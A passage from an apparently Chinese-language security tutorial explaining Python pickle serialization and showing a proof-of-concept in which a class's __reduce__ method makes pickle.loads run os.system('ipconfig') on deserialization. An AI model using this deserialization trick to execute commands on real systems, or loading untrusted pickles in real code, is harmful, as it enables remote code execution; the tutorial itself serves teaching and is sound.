當我們希望在 Python 中保存一個物件(例如將機器學習訓練好的 Model 儲存為檔案,使得未來程式執行時可以將物件狀態直接讀取進記憶體中,不用從頭訓練),此時程式可以將物件的屬性與狀態利用特定的規則編碼,轉為資料序列進行儲存,這便稱為序列化 (Serialize) 。
序列化是許多程式語言都具備的功能,例如先前介紹過的 PHP;而將被序列化的物件還原的過程就稱為反序列化。
Pickle 是 Python 中提供序列化功能的常見 Module,(python2 中,除了 pickle 還有 cPickle)
pickle.dumps()
pickle.loads()
Python 中的 __reduce__
,類似 PHP 物件中的 __wakeup()
方法,會在反序列化時自動呼叫
import pickle
import os
class Baba(object):
def __reduce__(self):
return os.system,("ipconfig",)
payload = pickle.dumps(Baba())
Baba
Baba
裡面有個 __reduce__
,這是一個 magic method ,在反序列化時會自動被呼叫,並且自動執行回傳的參數:
os.system("ipconfig")
。pickle.dumps(Baba())
會建立一個 Baba
物件,並進行序列化。payload
傳入 pickle.loads
,就會成功執行 os.system
,得到 ipconfig
的結果